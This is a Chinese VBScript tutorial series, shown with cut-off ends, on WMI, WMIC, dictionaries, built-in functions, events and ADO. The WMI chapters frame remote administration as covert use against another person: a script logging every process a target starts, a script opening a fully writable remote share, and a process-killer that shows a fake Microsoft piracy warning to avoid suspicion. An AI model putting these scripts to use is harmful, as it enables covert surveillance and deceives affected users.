set objFile = CreateObject("SAFRCFileDlg.FileOpen")

intRet = objFile.OpenFileOpenDlg

if intret then

msgbox “文件打开成功！文件名为：” & objFile.filename

else

wscript.quit

end if
```

例三：比较复杂的打开文件对话框

```
Set objDialog = CreateObject("UserAccounts.CommonDialog")

objDialog.Filter = "vbs File|*.vbs"

objDialog.InitialDir = "c:\"

tfile=objDialog.ShowOpen

if tfile then
```

```
strLoadFile = objDialog.FileName

msgbox strLoadFile

else

wscript.quit

end if
```

说明：在脚本中加入 objDialog.Flags = &H020 看看会出现什么结果。

==========

Vbs 脚本编程简明教程之十三—WMI 基础之一

WMI 即 Windows 管理规范，是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。WMI 的语法十分简单，基本上常见的命名空间、对象等用几乎一模一样。它对应的是 Windows 里的 WMI 服务（winmgmt）。

一、WMI 的起源

几年前，几家资深的计算机公司由于系统管理领域缺少标准，委托 DMTF 启动了 CIM（通用信息模型）项目，理想的 CIM 是一种不受限制于任何特定实现环境的管理工具。WMI 是 CIM 的微软实现，它有很多类是从 CIM 中派生出来的。

二、WMI 的命名空间

那么命名空间是做什么作用的呢？我简单这样说，在同一段代码中，如果有两个变量或函数的名字完全相同，就会出现冲突。命名空间就是为解决变量、函数的命名冲突而服务的。解决的办法就是将你的变量定义在一个不同名字的命名空间中。就好像财政局有个张三，公安局也有个张三，但我们清楚，就是因为他们分属不同的单位。有些地方可能不太准确，但大致意思就是这样了。

WMI 的命名空间创建了一个层次结构，有点类似于我们的目录文件结构。

1、 root-作为所有其他名字的占位符；

2、 root\default-与注册表操作有关的类；

3、 root\security-与系统安全有关的类；

4、 root\cimv2-从 CIM 派生的类，代表我们最常用的工作环境。

三、WMI 的对象路径

WMI 的对象路径用来在 CIM 库中定位类和它的事例，对象路径用两个反斜杠\\开头，第一个元素是目标计算机的名字，第二个元素是相应的 WMI 命名空间，第三个元素是相应的类名，并用 ： 将它与命名空间分隔开来。例如：\\..\root\cimv2:win32_service

其中那个 . 代表是本地系统。

四、WMI 的查询语言——WQL 仅仅是 ANSI SQL 的一个子集，只能用于数据的提取。

数据、事件查询的基本语法为：

Select pro1 , pro2 , pro3 from myclass（myclassevent）

例如：Select name , path from Win32_share 说明：列出所有共享的名称和路径

也可以使用通配符 * ，例如：Select * from Win32_share

关键字 Where 用于限定查询的范围。

例如：Select * from Win32_share where name=”Admin”

五、WMI 脚本中使用的三个步骤

步骤 1：连接到 WMI 服务

在任何 WMI 脚本中，第一个步骤都是建立一个到目标计算机上的 Windows 管理服务的连接。方法是调用 VBScript 的 Getobject 函数并将 WMI 脚本库的名字对象的名称（即“winmgmts:”，后跟目标计算机的名称）传递到 Getobject，并返回一个对象的引用，此时，您就可以调用其提供的方法如：InstancesOf，正如方法名所示，InstancesOf 返回由资源的类名标识的托管资源的所有实例。

步骤 2：检索 WMI 托管资源的实例

一般采用 WQL 来实现。

步骤 3：显示 WMI 托管资源的属性

最后一个步骤是枚举 检索得到集合的内容。一般采用

For each enum in myclass

……

Next 结构来实现。

==========

Vbs 脚本编程简明教程补充读物－初窥 WMI

今天，我沼泽将给大家介绍个朋友，它就是 Microsoft Windows Management Instrumentation (WMI)。中文名字叫 Windows 管理规范。从 Windows 2000 开始，WMI（Windows 管理规范）就内置于操作系统中，并且成为了 Windows 系统管理的重要组成部分。所以大家很容易就能见到它的，因为我们至少也应该是个 Windows 2000 的使用者了。下面我将详细介绍它的每个细节，让你从不认识它到喜欢上它。

WMI 能做什么？

WMI 不仅可以获取想要的计算机数据，而且还可以用于远程控制。远程控制计算机可是大家都喜欢的东西。很多远程监视控制类软件通常的做法是：在远程计算机上运行服务端后台程序，在本地计算机上运行一个客户器端控制程序，通过这二个程序的勾结来实现对计算机的远程控制。这种作法的缺点是十分明显的，当服务端程序关了，这种远程监控就无法实现了，因为没有内线了。而 WMI 实现的远程监视和控制完全不需要另外装什么服务端的东西，系统默认就将 WMI 服务给开了。具体说来，WMI 的本领如下：

1．获取本地和远程计算机的硬件软件信息。
2．监视本地和远程计算机的软件和服务等运行状况。
3．控制本地和远程计算机的软件和服务运行。
4．高级应用。

如何访问 WMI？

当我们知道 WMI 的某些本领后，我们已经很想知道如何认识他并利用他了。利用 WMI 有许多途径，简单说来有三种了：

1. 通过微软给我们提供的各种工具来实现普通查询和操作。主要包括命令提示符下面的 WMIC，还有就是微软给我们提供的 WMI TOOL，大家可以到微软的网站上免费下载，当然我也可以给大家免费提供。
2．通过自己编写脚本来实现更灵活操作。要想真正灵活实用，对 WSH 脚本的熟悉是必须的，当然如果你不熟悉也没有关系，稍后我会给大家详细解释的。
3. 通过编写我们自己的程序来访问并操作它。什么语言都行。如果用.NET 类程序要简单些了，如果用 VC 等要复杂些了，起码我是这么认为的。
4．还有个访问它的方法，就是到它的一个巢穴。在 C:\WINDOWS\system32\wbem 目录中的东西都和它有密切联系，有日志和各种工具，在里面你可以找到很多答案的。不过这些东西一般都不适合我们新手玩了，感觉有点吓人。

我们今天的任务？

今天我们的任务有五个：

任务一：利用 WMIC 列出远程计算机上的所有进程。
任务二：利用 WMIC 关闭本地进程。
任务三：通过 WMIC 把远程主机的进程信息保存在一个网页中
任务四：利用脚本实时监视对方进程
任务五：利用脚本给对方开放共享

查看和监视进程，还要把进程给杀掉，最后还要给对方开个共享，我们这位朋友快把坏事做尽了。明白了我们的任务，我们就可以上路了。这次我们将主要借助 WMIC 和脚本来实现我们的任务，所以我们将主要分为两大部分来讲解。在五个任务的实战中我们将更加深入地理解它，没有基础没有关系，我将尽力去解释所有的所谓的基础，让大家能很轻松地和这位朋友交流。

第一部分：利用 WMIC 来认识 WMI

WMIC 是 Windows Management Instrumentation Commandline 的简称，WMIC 扩展 WMI，提供了从命令行接口和批命令脚本执行系统管理的支持。为 WMI 名称空间提供了一个强大的、友

好的命令行接口。有了 WMIC，WMI 就显的平易近人了。
执行“WMIC”命令将启动 WMIC 命令行环境。第一次执行 WMIC 命令时，Windows 首先要安装 WMIC，然后显示出 WMIC 的命令行提示符。在 WMIC 命令行提示符上，命令将以交互的方式执行。如果你不知道该如何和它交互，请敲个“/?”，细细看完全部的说明，你就知道了。WMIC 也可以按照非交互的模式运行。如果要执行某个单步的任务，或者运行批命令中的一系列 WMIC 命令，非交互模式就很有用。要使用非交互模式，只要在同一个命令行上启动 WMIC 并输入要执行的命令就可以了。

1．任务一：利用 WMIC 列出远程计算机上的所有进程
这是一个实现起来很简单的任务，和你用一个 DOS 命令一样简单，因为我们要循序渐进嘛，所以安排了这么一个热身任务。在命令提示符下敲入下面的命令，我们将看到。
WMIC /node:192.168.1.2 /user:net process
解说：
1）上面命令中的 NODE 和 USER 是全局开关。如果你不愿意另外输一次密码，你也可以用 PASSWORD 开关，后面写上密码就可以了（WMIC /node:192.168.1.2 /user:net /password:password process）。千万要注意，这里的用户名和密码都必须是管理员级别的，其它的无效。WMIC 提供了大量的全局开关、别名、动词、命令和丰富的命令行帮助增强用户接口。全局开关是用来配置整个 WMIC 会话的选项。
2）Process 是个别名，执行了一个 Win32_process 类的 WQL 查询，至于说是 WMI 的类是什么东西，感兴趣的就自己找资料多多了解，如果你很懒的话，就等我有时间给你开课讲解。别名是用户和 WMI 名称空间一个简化语法的中间层。当你指定一个别名时，动词（Verb）表示要执行的动作。
3）如果你愿意，你可以在该后面加上个动词等，比如 LIST FULL 等（如：WMIC /node:192.168.1.2 /user:net /password:password process），这样你就看得更清楚了。

小提示：安装了 WMIC 的机器可以连接到任何一台安装了 WMI 的机器，被连接的机器不需要安装 WMIC。

2．任务二：利用 WMIC 关闭本地进程
执行下面的命令将关闭正在运行的 QQ。我比较胆小，所以不敢关别人的 QQ，只能拿我的 QQ 试验了，如果你的智商还够用的话，胆子比较大的话，你很快就会去关别人的了。
WMIC
process where name=”qq.exe” call terminate
解说：
1）这次我们是用交互式的方法来执行任务，具体界面我就不多说了，图上画的比我说的好多了。
2）Call 也是个动词，这个动词可是厉害了，控制类的没有不用它的，它就是可以调用各种类的各种方法的大将。这里我们调用了 terminate 方法。从字面上你就可以看出是恶狠狠的。
3）Where 能够让你查询和筛选。在超级多的实例中找到你想要的。实例就是指每个类的具体实现了。前面的例子中看到的各个进程都分别算是 WIN32_PROCESS 中的一个实例。

3．任务三：通过 WMIC 把远程主机的进程信息保存在一个网页中
这个任务和任务一中的大致相同，是任务一的加强。在任务一中信息以文本的形式显示出来了。其实除了文本形式的输出之外，WMIC 还能够以其他形式返回命令执行结果，例如 XML、HTML 或者 CSV（逗号分隔的文本文件），如图 3 所示。我们可以敲入下面的命令：
wmic /output:C:\1.html /node:192.168.1.2 /user:net process list full /format:hform.xsl
输入密码 :******

解释：

1）全局开关 OUTPUT 指明将这些信息保存在什么地方。
2）全局开关 FORMAT 指明了用什么样的格式，至于说有那些格式可以用，你可以参看 C:\WINDOWS\system32\wbem 目录中的*.xsl 文件，你甚至不用管它们从哪里来的，用就是了。挨着看看，一定可以找到你喜欢的。

第二部分：利用脚本来认识 WMI
命令提示符的工具确实好用，但是却显示不出我们是高手，高手都是能利用程序来实现目的的。下面我们就开始用脚本来实现我们的任务，功能将更加强大，操作将更加灵活。
无论脚本还是真正意义上的程序，要检索 WMI 托管资源信息进而查询并利用 WMI，都需要遵循以下三个步骤的。
1．连接到 WMI 服务。建立一个到目标计算机上的 Windows 管理服务的连接。
2．检索 WMI 托管资源的实例。主要取决于要执行的任务。
3．显示 WMI 某实例属性和调用其方法。

1．任务四：利用脚本实时监视对方进程
在任务一和任务三中我们都是在查看对方的进程，出来的结果对我们意义不是很大，在这个任务中我们要从现在开始每当他开一个任务我们就察觉到，并把它记录下来。我们要在他开进程的那一秒开始报告并记录，我们要清楚他所开的程序所在的位置，我们要比他更清楚地知道这些信息。
现在我们就按照前面提到的三个步骤来实现任务。
首先，我们连接到对方的 WMI。在这里我们首先调用 VBScript 的中的 Createobject（）来得到一个对象，然后利用这个特殊的对象的方法来连接到远程的计算机上。这个特殊的对象就是 wbemscripting.swbemlocator。
```
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
```
注意其中的 strComputer 就是你所要连接的计算机的名称或者 IP 地址，strUser，strPwd 当然就是用户名和密码了，我们说过这个用户必须是具有管理员权限的才可以。root\cimv2 是 WMI 的命名空间，关于 WMI 的命名空间，大家可以到“计算机管理\WMI 控件”中看到，这里面的学问就大了，得慢慢琢磨，为了我们的任务快速实现，我就不多解释了。用这种方法连接到 WMI，返回一个对 SWbemServices 对象的引用，一旦有一个对 SWbemServices 对象的引用。我们就可以进行第二个步骤了。
在第二个步骤中，我们将得到 WMI 托管资源的实例，我们利用 WbemServices 中的一个方法 ExecNotificationQuery 可以查询我们所要的类，进而可以得到该类中实例。
```
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
```
注意这里有个类似于 SQL 语言的查询语言，这里叫做 WQL 语言，懂 SQL 的一看就明白了，不懂的就在网上找找它的资料，满天都是。得到的 colMonitoredProcesses 是所查询的类的实例的集合。有了这些我们的第三个步骤就可以开始了。
在第三个步骤中，我们将显示出得到的实例中的属性。刚才我们得到的是实例的集合，在这里我们通过 colMonitoredProcesses.NextEvent 来获取每一个具体的实例，得到每一个具体的实例后，我们就可以显示出他们的属性，也就是我们想看的东西了。这里我们显示了 CommandLine 的属性值。
到现在你是否有些迷惑了，因为你还不知道到底 WMI 里面有那些类，具体类又有哪些属性，呵呵，没有关系的，用一些工具可以很轻松的得到这些信息。比如系统自带的 wbemtest，在运行中敲入这个程序名，你就可以看到这些了，它也遵循连接、查询、枚举这三个步骤。自己慢慢玩吧，很快你就会发现 WMI 太大了，单是命名空间就有 10 多个，然后单是我们常用的空间 root\CIMV2 里面就有近 1000 个类，每个类里面又有好多的属性，有些类还有好多方法。哈哈，

头晕了吧？没关系，其实你只需要知道其中的一些就好了。
看到这些估计你的头已经很大了，但是恭喜你，我们的这个任务已经完成了，是的，就是这么简单，下面我将完整代码奉献出来。

```
Set colArgs = WScript.Arguments
If WScript.arguments.count < 3 then
WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strFile = wscript.arguments(3)

set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")

i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objNewFile = objFS.OpenTextFile(strFile,8,true)
objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine
objNewFile.Close
Loop
```

到这个程序的核心了吧？相信你已经懂了其中的很多，剩余的部分代码我稍后解释。我们先来感性认识一下，先看它该怎么用吧！把上面的代码拷贝到记事本中，然后保存为 monitor.vbs 的文件，然后在命令提示符下输入：

```
CSCRIPT monitor.vbs
```

回车，你就会看到帮助，下面举例说明这个脚本的具体用法：

```
CSCRIPT monitor.vbs 192.168.1.2 user password C:\1.txt
```

在命令提示符下敲入上面的命令就 OK 了，每当对方开一个程序的时候，你就可以看到时间，程序路径和程序名。如果你没有时间去看这些信息，你还可以等有时间的时候到 C:\1.txt 看到这些信息。

小知识：
每次使用脚本，都必须敲入 CSCRIPT 和脚本的后缀名，很麻烦。这是因为系统默认的执行引擎是 WSCRIPT，可以将它改成 CSCRIPT。另外一个让人不爽的是脚本执行后总要显示微软的说明，好像脚本不是我们写的一样。不过你可以通过在命令提示符下敲入下面的命令来解决这个问题：

```
cscript //nologo //h:cscript //s
```

这样你以后再运行这些脚本的时候就不用在敲入 CSCRIPT 了，也不用在写入.vbs 的后缀名了，就上面的例子来说，你可以这样用：

```
monitor 192.168.1.2 user password C:\1.txt
```

解释：
1）前面的那几行，大概就是为了显示帮助和处理我们在后面输入的参数。应用到了

WScript.Arguments 这个对象，利用它我们可以来获取并处理脚本的参数。
2）那个死循环是为了让我们一直监视他（她），每当他开一个程序，我们就得到一个新的实例，我们就可以知道他更多的信息，哈哈，够狠吧。这样你也就知道了，当我们这个脚本运行后，只有通过我们人为中止才能中断监视，人为中止的方法大家可以用 CTRL+C 来完成，也可以用各种野蛮的方法来中止。
3）在代码中出现的另外一个核心对象就是 FileSystemObject，应该是大家的老朋友了吧，我这里就不再做解释了，我们在这里应用它主要是为了将结果同时保存到一个文件中，我们利用它来创建或打开一个文件，将信息追加进去。
4）至于那个 NOW，虽然体积很小，但是却正是它给我们提供了时间这个重要的信息。
5）如果你想要监视的是自己的计算机而不是远程的计算机（据我所知，这个应用还是很广的）。那么请将计算机名的参数写为一个小点，用户名和密码留为空。如下所示：

```
monitor . "" "" C:\1.txt
```

2．任务五：利用脚本给对方开放共享
有了任务四的基础，这次我们就先看代码吧：

```
Set colArgs = WScript.Arguments
If WScript.arguments.count < 5 then
WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strPath = wscript.arguments(3)
strShareName = wscript.arguments(4)

intMaximumAllowed = 1
strDescription = "Temporary share"
Const SHARED_FOLDER = 0

set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
Set objSWbemObject = wbemServices.Get("Win32_Share")
intReturnValue = objSWbemObject.Create(strPath, _
strShareName, _
SHARED_FOLDER, _
intMaximumAllowed, _
strDescription)

if(intReturnValue = 0) Then
WScript.Echo "The share have been created successfully"
End If
```

解说：
1）我们可以看出来前面的那几行是为显示帮助和处理输入参数而存在的。
2）紧接着设置了几个变量，为以后做参数用的。这里我们可以先不理会它。
3）连接到主机的 WMI，然后就是查询。前面已经说的很详细了。
4）这次得到实例集后，我们用了它的一个方法，也就是这个方法让共享成为了可能，联系到第二部分的内容，我们不难知道第一个参数表示要共享的路径和文件名，第二个参数表示共享名，第三个参数为 0 就可以了，第四个参数是指可以连接的人数，第五个参数是共享描述了，而我们只关心前面的两个参数。如果手头有 MSDN 那就好办了，到 MSDN 中可以查到该方法的更

详细的内容。
5）这次我们根据第四步的返回值来得到共享是否成功，并给出提示。不同的返回值代表不同的意义。这个信息在 MSDN 中可以很清楚地查到。比如 0 代表成功返回，2 代表拒绝访问，9 代表用户名错误，25 代表主机名没有找到等等。
6）这次我们要注意的是，用这个脚本来实现远程文件共享，要求远程存在这个文件，否则无法共享。当然你也可以利用教本创建自己的文件夹，很容易的，自己创建吧。
7）如上脚本创建后的共享是完全共享。就是可以删除修改文件的。
8）用法举例：share netp net swswsw C:\dodo marsh

好了，到现在为止，大家应该对这位朋友有些了解了，我的介绍任务也就告一段落了，如果大家想进一步认识它，那就主要靠大家的主动性了。这次我们主要通过 WMIC 和脚本来认识它，下次我将带领大家通过真正的程序代码来认识它，让它也有个象 Windows 一样漂亮的脸蛋。今天我所提到的估计只能算是 WMI 的万分之一，都算不上是冰山一角。剩余的要靠自己来发挥了。如果你肯利用你的所学，那么奇迹就会产生。
==========
Vbs 脚本编程简明教程之十三—WMI 基础之二—阻止客人运行你不想运行的程序
很多人都有这样的经验，刚刚装好的系统，让人运行了一些你不想他运行的程序，比如说 QQ，又是聊天，又是下载表情，不过一会，流氓插件、病毒、木马已经盘踞了你的计算机，常常是忍痛将这个程序卸载，可是不知情的人很自觉的下载安装，使整个系统无法正常运行。

其实用 vbs 和 wmi 结合起来，使你的计算机上有相应的程序安装，别人又无法运行起来太容易了，现在给出代码：

```
On Error Resume Next          '忽略所有的错误
Dim bag,pipe,honker,good
Do
good="."              '定义为本地计算机
set bag=getobject("winmgmts:\\"& good &"\root\cimv2")          'l 连接到 cimv2 命名空间
set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'")          '看，这是我的计算机上不允许运行的程序，qq、qqgame、winmine（扫雷）如果你还有其他的程序不允许运行，很简单，在其中添加 or name='你不允许运行的程序名'
for each i in pipe
i.terminate()
msgbox "发现盗版系统，现已进行功能限制" & vbcrlf & "请使用正版软件！",,"微软提示"          '此行其实可有可无，有这行只是为了免去怀疑
next
wscript.sleep 60000          '每 1 分钟检测一次
loop
```

那么如果我自己想运行这些程序该怎么办呢？
很简单，Ctrl+Alt+Del 三个键齐按，打开 windows 任务管理器，在进程中结束 Wscript.exe 和 wmiprvse.exe 进程的运行就可以了。
==========
Vbs 脚本编程简明教程之十四—使用 dictionary 对象
VBS 中存在一个特殊的对象－dictionnary，是一个集合对象。一般情况霞，我把这个特殊的集合想象为数组，可以使用其中内建的函数完成存储和操纵数据等基本任务，无须担心数据是在哪些行列，而是使用唯一的键进行访问或者是一个只能运行在内存中的数据库，并只有两个字段分别是：key 和 item，在使用中，字段 key 是索引字段。

```
set sdict=CreateObject("Scripting.Dictionary")

sdict.add "a","apple"

sdict.add "b","banana"

sdict.add "c","copy"

for each key in sdict.keys

msgbox        "键名" &      key         & "是" & " = " & sdict (key)

next

sdict.removeall
```

这个脚本很简单，就是定义了一个 dictionary 对象的实例 sdict，并加入了三条数据，然后对每一条数据进行了枚举，最后，将对象的实例清空。

Dictionary 对象的成员概要

属性和说明

CompareMode　　设定或返回键的字符串比较模式

Count　　只读。返回 Dictionary 里的键/条目对的数量

Item(key)　设定或返回指定的键的条目值

Key(key)　设定键值

方法和说明

Add(key,item)　增加键/条目对到 Dictionary

Exists(key)　如果指定的键存在，返回 True，否则返回 False

Items()　返回一个包含 Dictionary 对象中所有条目的数组

Keys()　返回一个包含 Dictionary 对象中所有键的数组

Remove(key)　删除一个指定的键/条目对

RemoveAll()　删除全部键/条目对

==========

Vbs 脚本编程简明教程之十五—VBS 内置函数之一

Abs 函数：返回数的绝对值。

Array 函数：返回含有数组的变体。

Asc 函数：返回字符串首字母的 ANSI 字符码。

Atn 函数：返回数值的反正切。

CBool 函数：返回已被转换为 Boolean 子类型的变体的表达式。

CByte 函数：返回已被转换为字节子类型的变体的表达式。

CCur 函数：返回已被转换为货币子类型的变体的表达式。

CDate 函数：返回已被转换为日期子类型的变体的表达式。

CDbl 函数：返回已被转换为双精度子类型的变体的表达式。

Chr 函数：返回与指定的 ANSI 字符码相关的字符。

CInt 函数：返回已被转换为整形子类型的变体的表达式。

CLng 函数；返回已被转换为 Long 子类型的变体的表达式。

Cos 函数：返回角度的余弦。

CreateObject 函数：创建并返回对“自动”对象的引用。

CSng 函数：返回已被转换为单精度子类型的变体的表达式。

CStr 函数：返回已被转换为字符串子类型的变体的表达式。

Date 函数：返回当前系统日期。

DateAdd 函数：返回的日期已经加上了指定的时间间隔。

DateDiff 函数：返回两个日期之间的间隔。

DatePart 函数：返回给定日期的指定部分。

DateSerial 函数：返回指定年月日的日期子类型的变体。

DateValue 函数：返回日期子类型的变体。

Day 函数：返回日期，取值范围为 1 至 31。

Eval 函数：计算表达式并返回结果。

Exp 函数：返回 e （自然对数的底） 的多少次方。

Filter 函数：根据指定的筛选条件,返回含有字符串数组子集的、下限为 0 的数组。

Fix 函数：返回数的整数部分。

FormatCurrency 函数：返回的表达式为货币值格式，其货币符号采用系统控制面板中定义的。

FormatDateTime 函数：返回的表达式为日期和时间格式。

FormatNumber 函数：返回的表达式为数字格式。

FormatPercent 函数：返回的表达式为百分数（乘以 100）格式，后面有 % 符号。

GetObject 函数：返回从文件对“自动”对象的引用。

GetRef 函数：返回对能够绑定到一事件的过程的引用。

Hex 函数：返回一字符串，代表一个数的十六进制值。

Hour 函数：返回表示钟点的数字，取值范围为 0 至 23。

InputBox 函数：在对话框中显式一提示，等待用户输入文本或单击按钮，并返回文本框的内容。

InStr 函数：返回一个字符串在另一个字符串中首次出现的位置。

InStrRev 函数；返回一个字符串在另一个字符串中出现的位置，但是从字符串的尾部算起。

==========

Vbs 脚本编程简明教程之十五—VBS 内置函数之二

Int 函数：返回数的整数部分。

IsArray 函数：返回 Boolean 值，反映变量是否为数组。

IsDate 函数：返回 Boolean 值，反映表达式能否转换为日期。

IsEmpty 函数：返回 Boolean 值，反映变量是否已被初始化。

IsNull 函数：返回 Boolean 值，反映表达式是否含有无效数据(Null)。

IsNumeric 函数：返回 Boolean 值，反映表达式能否转换为数字。

IsObject 函数：返回 Boolean 值，反映表达式是否引用了有效的“自动”对象。

Join 函数：返回通过连接许多含有数组的子串而创建的字符串。

LBound 函数；返回指定维数数组的最小有效下标。

LCase 函数：返回的字符串已被转换为小写字母。

Left 函数：返回字符串最左边的指定数量的字符。

Len 函数：返回字符串中的字符数或存储变量所需的字节数。

LoadPicture 函数：返回图片对象。只用于 32 位平台。

Log 函数：返回数的自然对数。

LTrim 函数；返回去掉前导空格的字符串。

Mid 函数：从字符串中返回指定数量的字符。

Minute 函数：返回分钟数，取值范围为 0 至 59。

Month 函数：返回表示月份的数，取值范围为 1 至 12。

MonthName 函数：返回表示月份的字符串。

MsgBox 函数：在对话框中显示消息，等待用户单击按钮，并返回表示用户所击按钮的数值。

Now 函数：返回计算机的当前系统日期和时间。

Oct 函数：返回表示该数八进制数值的字符串。

Replace 函数：返回一字符串，其中指定的子串已被另一个子串替换了规定的次数。

RGB 函数：返回代表 RGB 颜色值的数字。

Right 函数：返回字符串最右边的指定数量的字符。

Rnd 函数：返回随机数。

Round 函数：返回指定位数、四舍五入的数。

RTrim 函数：返回去掉尾部空格的字符串副本。

ScriptEngine 函数：返回反映使用中的脚本语言的字符串。

ScriptEngineBuildVersion 函数：返回使用中的脚本引擎的编译版本号。

ScriptEngineMajorVersion 函数：返回使用中的脚本引擎的主版本号。

ScriptEngineMinorVersion 函数：返回使用中的脚本引擎的次版本号。

Second 函数：返回秒数，取值范围为 0 至 59。

==========

Vbs 脚本编程简明教程之十五—VBS 内置函数之三

Sgn 函数：返回反映数的符号的整数。

Sin 函数：返回角度的正弦值。

Space 函数：返回由指定数量的空格组成的字符串。

Split 函数：返回下限为 0 的、由指定数量的子串组成的一维数组。

Sqr 函数：返回数的平方根。

StrComp 函数：返回反映字符串比较结果的数值。

String 函数：返回指定长度的重复字符串。

StrReverse 函数：返回一字符串，其中字符的顺序与指定的字符串中的顺序相反。

Tan 函数：返回角度的正切值。

Time 函数：返回表示当前系统时间的“日期”子类型的“变体”。

Timer 函数：返回时经子夜 12：00 AM 后的秒数。

TimeSerial 函数：返回含有指定时分秒时间的日期子类型的变体。

TimeValue 函数：返回含有时间的日期子类型的变体。

Trim 函数：返回去掉前导空格或尾部空格的字符串副本。

TypeName 函数：返回一字符串，它提供了关于变量的变体子类型信息。

UBound 函数：返回指定维数数组的最大有效下标。

UCase 函数：返回的字符串已经被转换为大写字母。

VarType 函数：返回标识变体子类型的数值。

Weekday 函数：返回表示星期几的数值。

WeekdayName 函数：返回表示星期几的字符串。

Year 函数：返回表示年份的数值。

==========

Vbs 脚本编程简明教程之十六——响应事件

什么是事件？在我看来，事件就象我们手机上的闹钟，闹钟一响，我们就要去做某些特定的事情。或者这样说，事件就像警钟，当程序运行时，有特殊的事情发生，就会激发事件，事件本身就是一条消息，如果你编写的脚本要对事件进行处理，就需要一个特殊的过程或者函数来接受和处理事件。那么这个特殊的过程或者函数在程序运行时，就不断的监听，看系统是否传来了相应的事件，一旦接受到事件，脚本对此作出反应。

那么事件是从那里来的呢？是否需要我们在脚本中对事件进行编写呢？一般情况下，事件是某个程序在运行中的特殊状态发出的，我们不需要对事件进行编写，只需要编写处理事件的函数。比如说我们用 vbs 建立了 ie 的一个实例，那么当 ie 的窗口被关闭的时候，就会激发出一个叫做 OnQuit 的事件。

是不是脚本自然而然就能接受事件并进行处理呢？我们说不是的，在创建对象的时候，我们将使用 WSH 的 createobject 命令，例如：

Set objie=Wscript.createobject(“internetexplorer.application”,”event_”)

注意到了吗？多了一个参数，这个参数的作用是什么呢？它叫做事件接收端，当脚本连接的对象包含事件时，如果对象调用的事件是 OnBegin，那么 WSH 将会在脚本中调用一个 event_OnBegin 的事件处理程序。当然事件接受端并不是固定的，如果对象将其定义为 MyObj_ 的话，那么事件处理程序将是：MyObj_OnBegin。

是否很熟悉？在打造个性化 QQ 一讲中，曾经出现过 Window_OnSize(cx,cy)函数，它其实就是一个事件处理程序。

让我们来举个实际的例子完整的看看事件的处理过程：

```
Set objie=WScript.CreateObject("InternetExplorer.Application","event_")

objie.Visible=True

MsgBox "请关闭浏览器窗口看看效果！",vbSystemModal

Wscript.sleep 6000

MsgBox "现在已经正常关闭了"


Sub event_onquit()

MsgBox "您确定要关闭浏览器吗？",vbSystemModal

End Sub
```

这段脚本打开了一个 IE 窗口，然后要求你关闭 IE 窗口，当你关闭窗口的时候，自动调用事件响应程序。

==========

Vbs 脚本编程简明教程之十七——访问 ADO 数据库之一

ADO 是 Microsoft 提供和建议使用的新型数据访问接口，它是建立 OLEDB 之上的一个抽象层。微软公司在操作系统中默认提供了 Access 的 ODBC 驱动程序以及 JET 引擎，

一、对 ADO 对象的主要操作，一般包括 6 个方面：

1.连接到数据源。通常使用 ADO 的 Connection 对象。一般使用相应的属性打开到数据源的连接，设置游标的位置，设置默认的当前数据库，设置将使用的 OLEDBProvider，直接提交 SQL 脚本等。

2.向数据源提交命令。通常涉及 ADO 的 Command 对象。可查询数据库并返回结果在 Recordset 对象中。

3.执行 SELECT 查询命令。在提交 SQL 脚本的任务时，不用创建一个 Command 对象，就可完成查询。

4.可以通过 ADO 的 Recordset 对象对结果进行操作。

5.更新数据到物理存储。作者：临汾市外事旅游局薛靖澜，转载请注明出处]

6.提供错误检测。通常涉及 ADO 的 Error 对象。

二、ADO 中主要对象的功能

Recordset 对象，用来封装查询的结果。

Field 对象，用来表达一行结果中各子段的类型和值。

Error 对象，用来检测和判断在数据库操作中出现的错误，比如连接失败。 在 ADO 中，许多对象名后多了一个"s"，比如 Error->Errors，Field->Fields 等等。添加"s"意味着是相应对象的 Collection（集合）对象，比如 Errors 是 Error 对象的 Collection 对象。Collection 有点像数组（Array），但不同的是，Collection 可以以不同类型的数据或对象作为自己的元素，而数组中的各元素通常都是相同类型的。所以，在看到一个对象名最后是"s"，通常表明这是一个 Collection 对象，比如 Errors 中的各元素是由 Error 对象的实例组成的。

三、具体应用作者：临汾市外事旅游局薛靖澜，转载请注明出处]

1、创建 mdb 数据库

ADOX 是 ADO 对象的扩展库。它可用于创建、修改和删除模式对象，如数据库和表格等。

其常用的对象有：Catalog—>创建数据库。Column—>表示表、索引或关键字的列。作者：临汾市外事旅游局薛靖澜，转载请注明出处]

Key—>表示数据库表中的关键字。

常用的方法有： Append 将对象添加到 其集合。Delete 删除集合中的对象。作者：临汾市外事旅游局薛靖澜，转载请注明出处]

```
set cat= createobject("ADOX.Catalog")

cat.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=d:\shujuku.mdb"

Set   tbl=createobject("ADOX.Table")

tbl.Name ="MyTable"

tbl.Columns.Append   "姓名",   202   'adInteger

tbl.Columns.Append   "性别",   3   'adInteger

tbl.Columns.Append   "工作单位",   202   ,50   'adVarWChar

cat.Tables.Append   tbl
```

不过你要操纵数据库就连一个数据库也不建，未免懒惰了点，用代码虽然可以完成，但是我觉得对数据约束完成的比较困难，本代码也就是示范个例子，并不推荐使用此类方法。

2、打开数据库作者：临汾市外事旅游局薛靖澜，转载请注明出处]

Provider="Provider=Microsoft.Jet.OLEDB.4.0 ; Data Source="

Set Objconn = createobject("ADODB.Connection")

Objconn.Open Provider & "数据库名称"

3、创建记录集

